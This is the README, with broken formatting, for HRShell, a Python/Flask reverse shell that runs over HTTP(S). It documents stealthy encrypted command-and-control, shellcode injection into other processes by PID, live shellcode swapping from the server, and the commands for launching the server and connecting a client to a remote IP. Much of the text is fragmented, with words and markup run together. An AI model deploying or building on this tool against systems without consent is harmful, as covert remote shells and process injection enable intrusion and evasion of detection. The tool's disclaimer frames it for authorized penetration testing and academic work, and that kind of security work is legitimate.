HRShell is an HTTPS/HTTP reverse shell built with flask and is compatible with python 3.x. The
client.py has been successfully tested on:
server.py is compatible with Unix systems (Windows support comming soon...)
migrate <PID>) by specifying its PID
cdcommand and variants).
historycommand available on Unix systems.
|) & chained commands (
;) are supported
client.pyare easily extensible.
*For version changes check-out CHANGELOG.
HRShell is stealthy since it uses the HTTP(S) protocol as the communication method between client and server. In addition when TLS is in use the traffic is also encrypted. Also if the CERT is not hand coded on client-side (which is a feasible option) and the
upload command is not used, then
client.py doesn't touches the disk at all.
--http option is specified, by default
server.py is HTTPS using on-the-fly certificates, since on-the-fly certificates are a built-in flask-feature. But if
-s tornado option is specified in order to make the server use TLS, a
--cert and a
--key option must be specified like so:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
A cert/key pair can also be used with the flask-server:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ If the server is using TLS, then by design the client can't use
http://...to connect to the server, but must explicitly use
Client-side: By default client's SSL verification is disabled, unless:
--certparameter is specified e.g.:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERTvariable, instead of the default
Nonevalue is set beforehand with a valid certificate e.g.:
CERT = """ -----BEGIN CERTIFICATE----- MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa ... -----END CERTIFICATE----- """In this case client.py will attempt to create a hidden .cert.pem file on the fly and will use that instead.
⚠️ That the SSL verification is disabled by default on client doesn't mean in any case that the TLS is disabled too, TLS will be enabled if the server uses it - so TLS depends completely on the server. The
--certoption on client is there just as an alternative way for the server-client to have an encrypted session and that's all.
There are two "modes" of shellcode injection using the two following commands respectively:
migrate <PID>: Using this command we can inject shellcode into the memory space of another process by specifying its PID. For now this command can only be applied at Windows x86/x64 platforms!
inject shellcode: Using this command a new thread (or spawned process on unix systems) of our current process is created and the shellcode injection occurs in its memory space. As a result our HTTP(S) shell is not affected by the injection. The platforms where this command can be applied are: Unix x86/x64, Windows x86 platforms!
There are two ways you can specify/set what type of shellcode you want the client to execute:
client.pyscript to be a valid shellcode or
set shellcode <shellcode-id>command to do that on the fly. With this command you can update your shellcode on client-side from server-side as many times as you like!
The first way is pretty straight forward. However in order to use the second and more convenient way (since you can also modify an already specified shellcode) you have to set
shellcodes/utils.py script such that it contains the shellcode(s) of your choise. The script contains an example of how you can do that.
💡 You can modify/update
shellcodes/utils.pyscript even after you've launched
server.pyas many times as you want, since
server.pywill dynamically use the most updated/recent version. In this way you can set & modify shellcodes on the go...
Any other command is supported if it's not interactive like e.g. gdb, top etc... Also by typing
python server.py -h or
python client.py -h you can get information the server and client available arguments.
Note: If a client is connected with the server and we want to terminate the server, before press CTRL+C, we have to close the connection using the
In order to create a custom command, generally:
elifstatement also on client-side.
If the command demands the existence of a new-endpoint on server-side, then:
@app.route('/custom_endpoint/<arg>') def custom_endpoint(arg): """ documentation if needed """ ... return ...
handleGET()to redirect the client to that endpoint:
@app.route('/') def handleGET(): ... return redirect(url_for('custom_endpoint', arg=...) )
handlePOST()to handle the presentation of the results.
Both scripts (server.py and client.py) can be customized through arguments:
$ python server.py -h usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key] server.py: An HTTP(S) reverse-shell server with advanced features. arguments: -h, --help show this help message and exit -s , --server Specify the HTTP(S) server to use (default: flask). -c , --client Accept connections only from the specified client/IP. --host Specify the IP to use (default: 0.0.0.0). -p , --port Specify a port to use (default: 5000). --http Disable TLS and use HTTP instead. --cert Specify a certificate to use (default: None). --key Specify the corresponding private key to use (default: None).
$ python client.py -h usage: client.py [-h] [-s] [-c] [-p] client.py: An HTTP(S) client with advanced features. arguments: -h, --help show this help message and exit -s , --server Specify an HTTP(S) server to connect to. -c , --cert Specify a certificate to use. -p , --proxy Specify a proxy to use [form: host:port]
To install the server-requirements:
pip install -r requirements.txt --upgrade --user
Feedback and contributions are welcome. If you find any bug or have a feature request feel free to open an issue, and as soon as I review it I'll try to fix it.
This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software in general.
hexdumpfunction taken from this great gist.
This project is licensed under the GPLv3 License - see the LICENSE file for details.